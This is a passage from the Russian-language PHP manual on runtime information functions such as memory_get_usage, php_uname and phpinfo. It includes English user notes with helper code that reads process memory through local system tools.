            $unit=array('B','KB','MB','GB','TB','PB');
            if ($bytes==0) return '0 ' . $unit[0];
            return @round($bytes/pow(1000,($i=floor(log($bytes,1000)))),2) .' '. (isset($unit[$i]) ? $unit[$i] : 'B');
        }
    }

    // Memory usage: 4.55 GiB / 23.91 GiB (19.013557664178%)
    $memUsage = getServerMemoryUsage(false);
    echo sprintf("Memory usage: %s / %s (%s%%)",
        getNiceFileSize($memUsage["total"] - $memUsage["free"]),
        getNiceFileSize($memUsage["total"]),
        getServerMemoryUsage(true)
    );

?>

The function getNiceFileSize() is not required. Just used to shorten size in bytes.

Note: If you need the server load (CPU usage), I wrote a nice function to get that too: http://php.net/manual/en/function.sys-getloadavg.php#118673


Возвращает количество памяти, выделенное для PHP

  • « memory_get_peak_usage
  • memory_reset_peak_usage »
  • PHP Manual
  • Опции PHP/информационные функции
  • Возвращает количество памяти, выделенное для PHP

memory_get_usage

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

memory_get_usage — Возвращает количество памяти, выделенное для PHP

Описание

memory_get_usage(bool $real_usage = false): int

Возвращает количество памяти в байтах, которое было выделено PHP-скрипту на данный момент.

Список параметров

real_usage

Передача true позволяет узнать реальное количество памяти, выделенной PHP скрипту системой, включая неиспользуемые страницы. Если аргумент не задан или равен false, будет возвращено только количество используемой памяти.

Замечание:

PHP не отслеживает память, которая выделялась не emalloc()

Возвращаемые значения

Возвращает количество памяти в байтах.

Примеры

Пример #1 Пример использования memory_get_usage()

<?php
// Это просто пример, цифры ниже будут
// отличаться в зависимости от вашей системы

echo memory_get_usage() . "\n"; // 36640

$a = str_repeat("Hello", 4242);

echo memory_get_usage() . "\n"; // 57960

unset($a);

echo memory_get_usage() . "\n"; // 36744

?>

Смотрите также

  • memory_get_peak_usage() - Возвращает пиковое значение объёма памяти, выделенное PHP
  • memory_limit

User Contributed Notes

yousha dot a at hotmail dot com 18-Apr-2018 08:41
Note that the description for `memory_get_usage` is different than it's default parameter!

"`int memory_get_usage ([ bool $real_usage = FALSE ] )`
Returns the amount of memory, in bytes, that's currently being allocated to your PHP script. "

Default parameter = `FALSE`

WRONG description: Returns the amount of memory, in bytes, that's currently being allocated to your PHP script.

It must be: Returns the amount of memory, in bytes, that's currently used by your PHP script.
stanislav dot eckert at vizson dot de 18-Feb-2017 03:08
memory_get_usage() is used to retrieve the memory allocated to PHP only (or your running script). But intuitively, many people expect to get the memory usage of the system, based on the name of the function.

So if you need the overall memory usage, following function might be helpful. If retrieves the memory usage either in percent (without the percent sign) or in bytes by returning an array with free and overall memory of your system. Tested with Windows (7) and Linux (on an Raspberry Pi 2):

<?php

    // Returns used memory (either in percent (without percent sign) or free and overall in bytes)
    function getServerMemoryUsage($getPercentage=true)
    {
        $memoryTotal = null;
        $memoryFree = null;

        if (stristr(PHP_OS, "win")) {
            // Get total physical memory (this is in bytes)
            $cmd = "wmic ComputerSystem get TotalPhysicalMemory";
            @exec($cmd, $outputTotalPhysicalMemory);

            // Get free physical memory (this is in kibibytes!)
            $cmd = "wmic OS get FreePhysicalMemory";
            @exec($cmd, $outputFreePhysicalMemory);

            if ($outputTotalPhysicalMemory && $outputFreePhysicalMemory) {
                // Find total value
                foreach ($outputTotalPhysicalMemory as $line) {
                    if ($line && preg_match("/^[0-9]+\$/", $line)) {
                        $memoryTotal = $line;
                        break;
                    }
                }

                // Find free value
                foreach ($outputFreePhysicalMemory as $line) {
                    if ($line && preg_match("/^[0-9]+\$/", $line)) {
                        $memoryFree = $line;
                        $memoryFree *= 1024;  // convert from kibibytes to bytes
                        break;
                    }
                }
            }
        }
        else
        {
            if (is_readable("/proc/meminfo"))
            {
                $stats = @file_get_contents("/proc/meminfo");

                if ($stats !== false) {
                    // Separate lines
                    $stats = str_replace(array("\r\n", "\n\r", "\r"), "\n", $stats);
                    $stats = explode("\n", $stats);

                    // Separate values and find correct lines for total and free mem
                    foreach ($stats as $statLine) {
                        $statLineData = explode(":", trim($statLine));

                        //
                        // Extract size (TODO: It seems that (at least) the two values for total and free memory have the unit "kB" always. Is this correct?
                        //

                        // Total memory
                        if (count($statLineData) == 2 && trim($statLineData[0]) == "MemTotal") {
                            $memoryTotal = trim($statLineData[1]);
                            $memoryTotal = explode(" ", $memoryTotal);
                            $memoryTotal = $memoryTotal[0];
                            $memoryTotal *= 1024;  // convert from kibibytes to bytes
                        }

                        // Free memory
                        if (count($statLineData) == 2 && trim($statLineData[0]) == "MemFree") {
                            $memoryFree = trim($statLineData[1]);
                            $memoryFree = explode(" ", $memoryFree);
                            $memoryFree = $memoryFree[0];
                            $memoryFree *= 1024;  // convert from kibibytes to bytes
                        }
                    }
                }
            }
        }

        if (is_null($memoryTotal) || is_null($memoryFree)) {
            return null;
        } else {
            if ($getPercentage) {
                return (100 - ($memoryFree * 100 / $memoryTotal));
            } else {
                return array(
                    "total" => $memoryTotal,
                    "free" => $memoryFree,
                );
            }
        }
    }

    function getNiceFileSize($bytes, $binaryPrefix=true) {
        if ($binaryPrefix) {
            $unit=array('B','KiB','MiB','GiB','TiB','PiB');
            if ($bytes==0) return '0 ' . $unit[0];
            return @round($bytes/pow(1024,($i=floor(log($bytes,1024)))),2) .' '. (isset($unit[$i]) ? $unit[$i] : 'B');
        } else {
            $unit=array('B','KB','MB','GB','TB','PB');
            if ($bytes==0) return '0 ' . $unit[0];
            return @round($bytes/pow(1000,($i=floor(log($bytes,1000)))),2) .' '. (isset($unit[$i]) ? $unit[$i] : 'B');
        }
    }

    // Memory usage: 4.55 GiB / 23.91 GiB (19.013557664178%)
    $memUsage = getServerMemoryUsage(false);
    echo sprintf("Memory usage: %s / %s (%s%%)",
        getNiceFileSize($memUsage["total"] - $memUsage["free"]),
        getNiceFileSize($memUsage["total"]),
        getServerMemoryUsage(true)
    );

?>

The function getNiceFileSize() is not required. Just used to shorten size in bytes.

Note: If you need the server load (CPU usage), I wrote a nice function to get that too: http://php.net/manual/en/function.sys-getloadavg.php#118673
miami at blackcrystal dot net 11-Mar-2015 11:46
Sometimes, we need all memory to run our task, we do ini_set('memory_limit',  -1 ), or maximum value we have.

To avoid stuck of server on long and memory consuming tasks, i wrote this check. This is not the same as memory_get_usage() do, but more. It shows virtual memory amount, taken by your process. In percents.

<?php
    function getVirtualMemoryTaken()
    {
        $pid = getmypid();
        $a = `ps -p $pid v | awk 'END{print $9}'`;
        return $a*1;
    }
?>

It works only in linux, tested in Ubuntu 14.

<?php
    $a = ' ';
    do {  $a .= $a . $a; }
    while (getVirtualMemoryTaken() < 20 );
?>
Alex Aulbach 22-Mar-2011 01:14
Note, that the official IEC-prefix for kilobyte, megabyte and so on are KiB, MiB, TiB and so on.

See http://en.wikipedia.org/wiki/Tebibyte

At first glance this may sound like "What the hell? Everybody knows, that we mean 1024 not 1000 and the difference is not too big, so what?". But in about 10 years, the size of harddisks (and files on them) reaches the petabyte-limit and then the difference between PB and PiB is magnificent.

Better to get used to it now. :)
lorin dot weilenmann at gmail dot com 26-Nov-2010 01:37
I can confirm that this function triggers a garbage collection. I have a script that exceeded 128MB of memory at some point and ended with a fatal error. I was confused, because the script dealt with some large files initially, but the memory load from that point on should have been marginal, and the error occurred at the very end.

Those large files were dealt in a dedicated function and i even used unset() on the variable holding the file after the file was written to disk inside that function. So the memory should have been cleared twice, first after the unset() call, and second once the function ended.

To debug the memory usage, I called memory_get_usage(true) at some points and echo-ed the memory allocation. Just by adding a few echos here and there in the script, the memory usage never exceeded 1MB overhead (on top of the current file size) and the memory error disappeared.
xelozz -at- gmail.com 18-Feb-2010 02:34
To get the memory usage in KB or MB

<?php
function convert($size)
 {
    $unit=array('b','kb','mb','gb','tb','pb');
    return @round($size/pow(1024,($i=floor(log($size,1024)))),2).' '.$unit[$i];
 }

echo convert(memory_get_usage(true)); // 123 kb
?>
jeff dot peck at snet dot net 19-Aug-2009 09:22
To get the memory usage in KB or MB

<?php
    function echo_memory_usage() {
        $mem_usage = memory_get_usage(true);

        if ($mem_usage < 1024)
            echo $mem_usage." bytes";
        elseif ($mem_usage < 1048576)
            echo round($mem_usage/1024,2)." kilobytes";
        else
            echo round($mem_usage/1048576,2)." megabytes";

        echo "<br/>";
    }
?>
miteigi nemoto (miteigi at yandex dot ru) 18-Nov-2008 08:19
Decision a memory_get_usage problem for windows system

Tested OS: Windows XP
Server: Apache

PHP must be loaded as CGI to get correctly memory usage by Process ID ( getmypid() ) and with cmd-tools like tasklist.exe

PHP as CGI have your own PID instead constant Apache PID and you get a true memory size independed form Apache memory usage.

Configure in httpd.conf of Apache:

1. Comment the line like this:
LoadModule php4_module "/usr/local/php/sapi/php4apache.dll"
or
LoadModule php5_module "/usr/local/php5/php5apache.dll"

2. Add this and edit your path to php:
<Directory "z:/usr/local/php">
  Options ExecCGI
</Directory>
ScriptAlias "/__php_dir__/" "z:/usr/local/php/"
Action application/x-httpd-php "/__php_dir__/php.exe"

3. Restart Apache

Use this PHP-code:

<?php
/**
* A memory_get_usage() for Windows System, wich compiled without --enable-memory-limit
* PHP must be loaded as CGI
* Greetings form miteigi nemoto
* @return string
*/
function memory_get_usage_by_tasklist()
{
    $output = array();
    exec( 'tasklist ', $output );
    foreach ($output as $value)
    {
        $ex=explode(" ",$value);
        $count_ex=count($ex);
        if (eregi(" ".getmypid()." Console",$value))
        {
            $memory_size=$ex[$count_ex-2]." Kb";
            return $memory_size;
        }
    }
}
echo memory_get_usage_by_tasklist();
?>
joe at schmoe dot com 23-Dec-2006 12:44
the various memory_get_usage replacements here don't seem to work on Mac OS X 10.4(Intel)

I got it to work like this...

<?php
function memory_get_usage()
{
     $pid = getmypid();
     exec("ps -o rss -p $pid", $output);
     return $output[1] *1024;
}
?>
e dot a dot schultz at gmail dot com 08-Apr-2006 04:41
This is a function that should work for both Windows XP/2003 and most distrabutions of UNIX and Mac OS X.

<?php
if( !function_exists('memory_get_usage') )
{
    function memory_get_usage()
    {
        //If its Windows
        //Tested on Win XP Pro SP2. Should work on Win 2003 Server too
        //Doesn't work for 2000
        //If you need it to work for 2000 look at http://us2.php.net/manual/en/function.memory-get-usage.php#54642
        if ( substr(PHP_OS,0,3) == 'WIN')
        {
               if ( substr( PHP_OS, 0, 3 ) == 'WIN' )
                {
                    $output = array();
                    exec( 'tasklist /FI "PID eq ' . getmypid() . '" /FO LIST', $output );

                    return preg_replace( '/[\D]/', '', $output[5] ) * 1024;
                }
        }else
        {
            //We now assume the OS is UNIX
            //Tested on Mac OS X 10.4.6 and Linux Red Hat Enterprise 4
            //This should work on most UNIX systems
            $pid = getmypid();
            exec("ps -eo%mem,rss,pid | grep $pid", $output);
            $output = explode("  ", $output[0]);
            //rss is given in 1024 byte units
            return $output[1] * 1024;
        }
    }
}
?>
vesa dot kivisto at nepton dot fi 14-Jul-2005 06:02
[EDIT by danbrown AT php DOT net: This function will only extend Windows versions of PHP where the server has the required third-party software.]

I was unable to get the previous examples working properly and created code which works at least for me. Enjoy!

<?php
// Please note that you'll need the pslist.exe utility from http://www.sysinternals.com/Utilities/PsTools.html
// This is because win/2000 itself does not provide a task list utility.
//
function getMemoryUsage() {

 // try to use PHP build in function
 if( function_exists('memory_get_usage') ) {
  return memory_get_usage();
 }

 // Try to get Windows memory usage via pslist command
 if ( substr(PHP_OS,0,3) == 'WIN') {

  $resultRow = 8;
  $resultRowItemStartPosition = 34;
  $resultRowItemLength = 8;

  $output = array();
  exec('pslist -m ' . getmypid() , $output);

  return trim(substr($output[$resultRow], $resultRowItemStartPosition, $resultRowItemLength)) . ' KB';

 }

 // No memory functionality available at all
 return '<b style="color: red;">no value</b>';

}
?>
guenter_doege at web dot de 10-Jul-2005 11:28
The Win XP / 2003 workaround script will also work with windows 2000 with a few slight modifications.

Please note that you'll need the pslist.exe utility from http://www.sysinternals.com/Utilities/PsTools.html because win/2000 itself does not provide a task list utility.

<?php

function getMemUsage()
{

       if (function_exists('memory_get_usage'))
       {
           return memory_get_usage();
       }
       else if ( substr(PHP_OS,0,3) == 'WIN')
       {
           // Windows 2000 workaround

           $output = array();
           exec('pslist ' . getmypid() , $output);
           return trim(substr($output[8],38,10));
       }
       else
       {
           return '<b style="color: red;">no value</b>';
       }
}
?>
MagicalTux at FF dot st 25-May-2005 12:08
When you need to get the OS, do not use $_SERVER['OS'] or $_ENV['OS'], better use PHP_OS constant !
<?php
if (substr(PHP_OS,0,3)=='WIN') {
  // [...]
}
?>

You also have other values such as CYGWIN_NT-5.0, Linux, ... this is the best way to get system's os (anyone on linux can do an "export OS=windows")
randolphothegreat at yahoo dot com 29-Nov-2004 01:37
[EDIT by danbrown AT php DOT net: This is intended by the author to only be used with PHP 4 < 4.3.2.]

I'd just like to point out that although sandeepc at myrealbox dot com's idea for displaying the current memory usage is a good one, it's perhaps a bad idea to pipe the entire process list through grep. A better performing method would be to select only the process we're interested in:

<?php
$pid = getmypid();
error_log('MEMORY USAGE (% KB PID ): ' . `ps --pid $pid --no-headers -o%mem,rss,pid`);
?>

True, it's not much of a performance boost, but every bit helps.
ad-rotator.com 14-May-2004 10:31
The method sandeepc at myrealbox dot com posted yields larger memory usage, my guess is that it includes all the PHP interpreter/internal code and not just the script being run.

1) Use ps command
MEMORY USAGE (% KB PID ):  0.8 12588 25087 -> about 12MB
2) Use memory_get_usage()
int(6041952) -> about 6MB


Сбрасывает пиковое использование памяти

  • « memory_get_usage
  • php_ini_loaded_file »
  • PHP Manual
  • Опции PHP/информационные функции
  • Сбрасывает пиковое использование памяти

memory_reset_peak_usage

(PHP 8 >= 8.2.0)

memory_reset_peak_usage — Сбрасывает пиковое использование памяти

Описание

memory_reset_peak_usage(): void

Сбрасывает пиковое использование памяти, возвращаемое функцией memory_get_peak_usage().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования memory_reset_peak_usage()

<?php

var_dump(memory_get_peak_usage());

$a = str_repeat("Hello", 424242);
var_dump(memory_get_peak_usage());

unset($a);
memory_reset_peak_usage();

$a = str_repeat("Hello", 2424);
var_dump(memory_get_peak_usage());

?>

Результатом выполнения данного примера будет что-то подобное:

int(422440)
int(2508672)
int(399208)

Смотрите также

  • memory_get_peak_usage() - Возвращает пиковое значение объёма памяти, выделенное PHP

User Contributed Notes

There are no user contributed notes for this page.


Получить путь к загруженному файлу php.ini

  • « memory_reset_peak_usage
  • php_ini_scanned_files »
  • PHP Manual
  • Опции PHP/информационные функции
  • Получить путь к загруженному файлу php.ini

php_ini_loaded_file

(PHP 5 >= 5.2.4, PHP 7, PHP 8)

php_ini_loaded_file — Получить путь к загруженному файлу php.ini

Описание

php_ini_loaded_file(): string|false

Проверяет, загружен ли файл php.ini, и возвращает его путь.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Путь к загруженному файлу php.ini или false, если файл не загружен.

Примеры

Пример #1 Пример использования php_ini_loaded_file()

<?php
$inipath = php_ini_loaded_file();

if ($inipath) {
echo 'Загруженный php.ini: ' . $inipath;
} else {
echo 'Файл php.ini не загружен';
}
?>

Результатом выполнения данного примера будет что-то подобное:

Loaded php.ini: /usr/local/php/php.ini

Смотрите также

  • php_ini_scanned_files() - Возвращает список .ini-файлов, найденных в дополнительной ini-директории
  • phpinfo() - Выводит информацию о текущей конфигурации PHP
  • Конфигурационный файл

User Contributed Notes

geekcom 26-Nov-2019 06:45
To find your php.ini just run

php --ini
yc 14-May-2016 04:29
you can also do:

php -i | grep "Configuration File"
Andy Dodd 27-May-2015 07:31
Or you could use
php -i | grep php.ini
litelus 21-Oct-2014 03:59
quick way to find the ini loaded for the cli
php -r "echo php_ini_loaded_file();"


Возвращает список .ini-файлов, найденных в дополнительной ini-директории

  • « php_ini_loaded_file
  • php_sapi_name »
  • PHP Manual
  • Опции PHP/информационные функции
  • Возвращает список .ini-файлов, найденных в дополнительной ini-директории

php_ini_scanned_files

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

php_ini_scanned_files — Возвращает список .ini-файлов, найденных в дополнительной ini-директории

Описание

php_ini_scanned_files(): string|false

php_ini_scanned_files() возвращает список разделённых запятыми конфигурационных файлов, проанализированных после php.ini. Директории, в которых производится поиск, задаются при компиляции и, опционально, переменной окружения во время исполнения. Больше информации можно найти в инструкции по установке.

Возвращаемые имена файлов включают полный путь.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

При успехе возвращает строку с разделёнными запятыми именами .ini-файлов. За каждой запятой следует новая строка. Если директива --with-config-file-scan-dir не задана и переменная окружения PHP_INI_SCAN_DIR тоже не задана, функция вернёт false. Если директива задана и она пуста, будет возвращена пустая строка. Если файл не удаётся распознать, он всё же будет включён в список, но при этом PHP сообщит об ошибке. Эта ошибка будет возникать как при компиляции, так и во время работы php_ini_scanned_files().

Примеры

Пример #1 Простой пример вывода списка ini-файлов

<?php
if ($filelist = php_ini_scanned_files()) {
if (strlen($filelist) > 0) {
$files = explode(',', $filelist);

foreach ($files as $file) {
echo "<li>" . trim($file) . "</li>\n";
}
}
}
?>

Смотрите также

  • ini_set() - Устанавливает значение настройки конфигурации
  • phpinfo() - Выводит информацию о текущей конфигурации PHP
  • php_ini_loaded_file() - Получить путь к загруженному файлу php.ini

User Contributed Notes

atesin () gmail ! com 25-Apr-2019 04:00
<warning>

until i load more .ini files from <php-dir>/php.d/ as listed in phpinfo() (sections "Scan this dir for additional .ini files" and "Additional .ini files parsed"), php_ini_scanned_files() returns me NOTHING!

then i realized my php binary was not compiled with the "--with-config-file-scan-dir" option as listed in phpinfo() (section "Configure Command")

then i remembered the additional .ini files dir was set through the "PHP_INI_SCAN_DIR" system variable (new since php 5.2.0, see https://php.net/manual/en/configuration.file.php#configuration.file.scan)

until confusing and annoying, is the documented behavior... too bad now i don't know how to get the additional ini files purely with php functions (except "shell_exec()" maybe?)

</warning>


Возвращает тип интерфейса между веб-сервером и PHP

  • « php_ini_scanned_files
  • php_uname »
  • PHP Manual
  • Опции PHP/информационные функции
  • Возвращает тип интерфейса между веб-сервером и PHP

php_sapi_name

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

php_sapi_name — Возвращает тип интерфейса между веб-сервером и PHP

Описание

php_sapi_name(): string|false

Возвращает строку в нижнем регистре, содержащую описание типа интерфейса (Server API, SAPI), который использует PHP. Например, в CLI PHP эта строка будет "cli", в то время как с Apache может быть несколько разных значений в зависимости от конкретного SAPI. Возможные значение приведены ниже.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает тип интерфейса в виде строки в нижнем регистре или false в случае возникновения ошибки.

Возможные возвращаемые значения (список может быть неполным): apache, apache2handler, cgi (до PHP 5.3), cgi-fcgi, cli, cli-server, embed, fpm-fcgi, litespeed, phpdbg.

Примеры

Пример #1 Пример использования php_sapi_name()

В этом примере проверяется подстрока cgi, так как это также может быть cgi-fcgi.

<?php
$sapi_type = php_sapi_name();
if (substr($sapi_type, 0, 3) == 'cgi') {
echo "Вы используете CGI PHP\n";
} else {
echo "Вы используете не CGI PHP\n";
}
?>

Примечания

Замечание: Альтернативный вариант

Константа PHP PHP_SAPI хранит то же значение, что и php_sapi_name().

Подсказка

Важный аспект

Имя SAPI может определиться неточно, так как, например, в случае с apache интерфейс может быть определён как apache2handler.

Смотрите также

  • PHP_SAPI

User Contributed Notes

Anonymous 02-Apr-2023 08:50
Note: When using Litespeed with CPanel, the SAPI will be "litespeed" and not contain "cgi".
michael at butlerpc dot net 05-Jan-2021 09:49
When using nginx-unit with PHP, the sapi name seems to be "cli-server"
anonymous 16-Sep-2015 02:50
php_sapi_name (which is equal to PHP_SAPI) can either be cgi or any other cgi mod (dependent on which mod you are using)-

Examples:
'fpm-fcgi'
'cgi-fcgi'
[...]
hajo-p 03-Feb-2014 10:58
some not yet mentioned sapi names:

cli-server -> php built-in webserver
srv -> hhvm
michal at roszka dot pl 26-Mar-2009 01:13
The php_sapi_name() function is extremely useful when you want to determine the type of interface. There is, however, one more gotcha you need to be aware of while designing your application or deploying it to an unknown server.

Whenever something depends on the type of interface, make sure your check is conclusive. Especially when you want to distinguish the command line interface (CLI) from the common gateway interface (CGI).

Note, that the php-cgi binary can be called from the command line, from a shell script or as a cron job as well! If so, the php_sapi_name() will always return the same value (i.e. "cgi-fcgi") instead of "cli" which you could expect.

Bad things happen to good people. Do not always expect /usr/bin/php to be a link to php-cli binary.

Luckily the contents of the $_SERVER and the $_ENV superglobal arrays depends on whether the php-cgi binary is called from the command line interface (by a shell script, by the cron, etc.) or by some HTTP server (i.e. lighttpd).

<?php
var_dump($_SERVER);
?>

Try to call php-cgi binary from the command line interface and then via HTTP request and compare the output of the script above. There will be plenty options to satisfy almost everyone.

For the sake of security remember, that contents of the $_SERVER and the $_ENV superglobal arrays (as well as $_GET, $_POST, $_COOKIE, $_FILES and $_REQUEST) should be considered tainted.


Возвращает информацию об операционной системе, на которой запущен PHP

  • « php_sapi_name
  • phpcredits »
  • PHP Manual
  • Опции PHP/информационные функции
  • Возвращает информацию об операционной системе, на которой запущен PHP

php_uname

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

php_uname — Возвращает информацию об операционной системе, на которой запущен PHP

Описание

php_uname(string $mode = "a"): string

php_uname() возвращает описание операционной системы, на которой запущен PHP. Это та же строка, с которой начинается вывод phpinfo(). Для вывода названия операционной системы также можно использовать константу PHP_OS, но имейте в виду, что эта константа содержит название операционной системы, на которой PHP был собран (built).

На некоторых старых UNIX-платформах получить информацию о текущей ОС может оказаться невозможным. В таких случаях функция выдаст название ОС, на которой PHP был собран. Такое случается, когда библиотека, которой пользуется uname(), недоступна или работает некорректно.

Список параметров

mode

mode - одиночный символ, определяющий, какая информация будет выводиться:

  • 'a': По умолчанию. Содержит все режимы в следующей последовательности "s n r v m".
  • 's': Название операционной системы, например, FreeBSD.
  • 'n': Имя хоста, например, localhost.example.com.
  • 'r': Номер релиза, например, 5.1.2-RELEASE.
  • 'v': Информация о версии. Может сильно различаться в разных ОС.
  • 'm': Архитектура процессора, например, i386.

Возвращаемые значения

Возвращает описание ОС в виде строки.

Примеры

Пример #1 Несколько примеров использования php_uname()

<?php
echo php_uname();
echo PHP_OS;

/* Разные варианты:
Linux localhost 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST 2003 i686
Linux

FreeBSD localhost 3.2-RELEASE #15: Mon Dec 17 08:46:02 GMT 2001
FreeBSD

Windows NT XN1 5.1 build 2600
WINNT
*/

if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
echo 'Сервер работает под управлением Windows!';
} else {
echo 'Сервер работает под управлением ОС, отличной от Windows!';
}

?>

Ниже приведено несколько Предопределённых PHP-констант, которые могут оказаться полезными:

Пример #2 Некоторые константы OS

<?php
// *nix
echo DIRECTORY_SEPARATOR; // /
echo PHP_SHLIB_SUFFIX; // so
echo PATH_SEPARATOR; // :

// Win*
echo DIRECTORY_SEPARATOR; // \
echo PHP_SHLIB_SUFFIX; // dll
echo PATH_SEPARATOR; // ;
?>

Смотрите также

  • phpversion() - Получает текущую версию PHP
  • php_sapi_name() - Возвращает тип интерфейса между веб-сервером и PHP
  • phpinfo() - Выводит информацию о текущей конфигурации PHP

User Contributed Notes

pyst 30-Sep-2020 01:05
Note that the argument is not a "format". This means that <?php uname('a') ?> is not equivalent to <?php uname('s n r v m') ?>, but rather <?php uname('s') . ' ' . uname('n') . ' ' . uname('r') . ' ' . uname('v') . ' ' . uname('m') ?>.
Ricardo Striquer (ricardophp yohoocombr) 18-Sep-2019 05:24
Although it does not indicate receiving parameters this function allows some chars as parameters, they are the options a; m; n; r; s; v.

I don't know exactly what each one does, but below is a code example and its output on PHP 5.5 running on RedHat 4.4

<?php
echo '<pre>';
echo '(void): '.php_uname()."\n"; // output: "(void): Linux web989.uni5.net 4.4.180 #1 SMP Wed May 22 15:27:37 -03 2019 x86_64"
echo 'a: '.php_uname('a')."\n"; // output: "a: Linux web989.uni5.net 4.4.180 #1 SMP Wed May 22 15:27:37 -03 2019 x86_64"
echo 'm: '.php_uname('m')."\n"; // output: "m: x86_64"
echo 'n: '.php_uname('n')."\n"; // output: "n: web989.uni5.net"
echo 'r: '.php_uname('r')."\n"; // output: "r: 4.4.180"
echo 's: '.php_uname('s')."\n"; // output: "s: Linux"
echo 'v: '.php_uname('v')."\n"; // output: "v: #1 SMP Wed May 22 15:27:37 -03 2019"
// echo file_get_contents('/etc/issue')."\n";

echo '</pre>';
phpinfo();
?>

Note that I used file_get_contentes with a file, that file is present in most linux boxies and varies on content, but most of times it indicates kernel version, linux version, distribution and so on. In my case my user didn't have access to the file, so to identify that it was a red hat I paid attention to php_info outputs, there in the middle was the postgress driver description, p. eg indicating the distribution.

I guess there is no easy way to find out the server version programmatically a 100% of times, but by and large you can get around by yourself.
Grzechooo+php at gmail dot com 29-Sep-2012 05:07
Note that PHP won't tell you that it reverted to displaying platform it was built on.
Yzmir Ramirez 24-Aug-2011 10:00
Note that php_uname('n') does not always equal $_SERVER['HOST_NAME']

The machine that you are running the script may server many different host names so don't use this when building urls.


Выводит список разработчиков PHP

  • « php_uname
  • phpinfo »
  • PHP Manual
  • Опции PHP/информационные функции
  • Выводит список разработчиков PHP

phpcredits

(PHP 4, PHP 5, PHP 7, PHP 8)

phpcredits — Выводит список разработчиков PHP

Описание

phpcredits(int $flags = CREDITS_ALL): true

Эта функция выводит список разработчиков PHP, модулей и т.д. Она генерирует соответствующий HTML-код для вставки на страницу.

Список параметров

flags

Использование аргумента flags позволяет произвольно компоновать информацию об отдельных группах разработчиков.

Предопределённые флаги phpcredits()
Имя | Описание
CREDITS_ALL | Все разработчики, эквивалентно использованию: CREDITS_DOCS + CREDITS_GENERAL + CREDITS_GROUP + CREDITS_MODULES + CREDITS_FULLPAGE. В этом случае будет сгенерирована полностью независимая HTML-страница с соответствующими тэгами.
CREDITS_DOCS | Участники команды документирования
CREDITS_FULLPAGE | Обычно используется в комбинации с другими флагами. Указывает на то, что независимая HTML страница должна содержать информацию других флагов.
CREDITS_GENERAL | Главные разработчики: Концепция и дизайн языка, авторы PHP и модуля SAPI.
CREDITS_GROUP | Список разработчиков ядра языка
CREDITS_MODULES | Список модулей для PHP и их авторов
CREDITS_SAPI | Список модулей серверных API и их авторов

Возвращаемые значения

Функция всегда возвращает true.

Примеры

Пример #1 Выводит основных разработчиков

<?php
phpcredits(CREDITS_GENERAL);
?>

Пример #2 Выводит разработчиков ядра и участников команды документирования

<?php
phpcredits(CREDITS_GROUP | CREDITS_DOCS | CREDITS_FULLPAGE);
?>

Пример #3 Вывод всех разработчиков

<html>
<head>
<title>Сведения об авторах</title>
</head>
<body>
<?php
// какой-то код
phpcredits(CREDITS_ALL - CREDITS_FULLPAGE);
// ещё код
?>
 </body>
</html>

Примечания

Замечание:

В режиме работы из командной строки (CLI) phpcredits() выводит обычный текст вместо HTML.

Смотрите также

  • phpversion() - Получает текущую версию PHP
  • phpinfo() - Выводит информацию о текущей конфигурации PHP

User Contributed Notes

There are no user contributed notes for this page.


Выводит информацию о текущей конфигурации PHP

  • « phpcredits
  • phpversion »
  • PHP Manual
  • Опции PHP/информационные функции
  • Выводит информацию о текущей конфигурации PHP

phpinfo

(PHP 4, PHP 5, PHP 7, PHP 8)

phpinfo — Выводит информацию о текущей конфигурации PHP

Описание

phpinfo(int $flags = INFO_ALL): true

Выводит большое количество информации о текущем состоянии PHP. Сюда входит информация о настройках компиляции PHP, о модулях, о версии, информация о сервере и среде выполнения (если PHP компилировался как модуль), окружении PHP, версии ОС, о путях, об основных и локальных значениях настроек конфигурации, о HTTP-заголовках и лицензии PHP.

Так как каждая система имеет свои особенности, phpinfo() используется в основном для проверки настроек конфигурации и для просмотра доступных предопределённых констант в данной системе.

phpinfo() также используется в целях отладки, так как содержит все данные EGPCS (Environment, GET, POST, Cookie, Server).

Список параметров

flags

Вывод функции можно настраивать, передавая битовую маску из одной или более приведённых ниже констант (constants). Эта маска передаётся в качестве необязательного аргумента flags. Отдельные константы или битовые значения можно комбинировать с помощью побитового оператора ИЛИ.

Настройки phpinfo()
Имя (константа) | Значение | Описание
INFO_GENERAL | 1 | Строка конфигурации, расположение php.ini, дата сборки, сервер, система и др.
INFO_CREDITS | 2 | Разработчики PHP. Смотрите также phpcredits().
INFO_CONFIGURATION | 4 | Текущие значение основных и локальных PHP директив. Смотрите также ini_get().
INFO_MODULES | 8 | Загруженные модули и их настройки. Смотрите также get_loaded_extensions().
INFO_ENVIRONMENT | 16 | Информация о переменных окружения, которая также доступна в $_ENV.
INFO_VARIABLES | 32 | Выводит все предопределённые переменные из EGPCS (Environment, GET, POST, Cookie, Server).
INFO_LICENSE | 64 | Информация о лицензии PHP. Смотрите также » license FAQ.
INFO_ALL | -1 | Выводит все приведённое выше.

Возвращаемые значения

Функция всегда возвращает true.

Примеры

Пример #1 Пример использования phpinfo()

<?php

// Показывать всю информацию, по умолчанию INFO_ALL
phpinfo();

// Показывать информацию только о загруженных модулях.
// phpinfo(8) выдаёт тот же результат.
phpinfo(INFO_MODULES);

?>

Примечания

Замечание:

В версиях PHP до 5.5, часть информации не выводится, если настройка expose_php установлена в off. Это PHP и Zend логотипы и информация о разработчиках.

Замечание:

В режиме CLI phpinfo() выводит обычный текст вместо HTML.

Смотрите также

  • phpversion() - Получает текущую версию PHP
  • phpcredits() - Выводит список разработчиков PHP
  • ini_get() - Получает значение настройки конфигурации
  • ini_set() - Устанавливает значение настройки конфигурации
  • get_loaded_extensions() - Возвращает массив имён всех скомпилированных и загруженных модулей
  • Предопределённые переменные

User Contributed Notes

alec dot hewitt at gmail dot com 23-Dec-2022 12:46
Simple JS snippet to print phpinfo() inline with it's styles renamed. Thus leaving the container page unaffected and pretty.

<script>
document.write(`<div id="phpinfo"><?php phpinfo(61) ?></div>`);
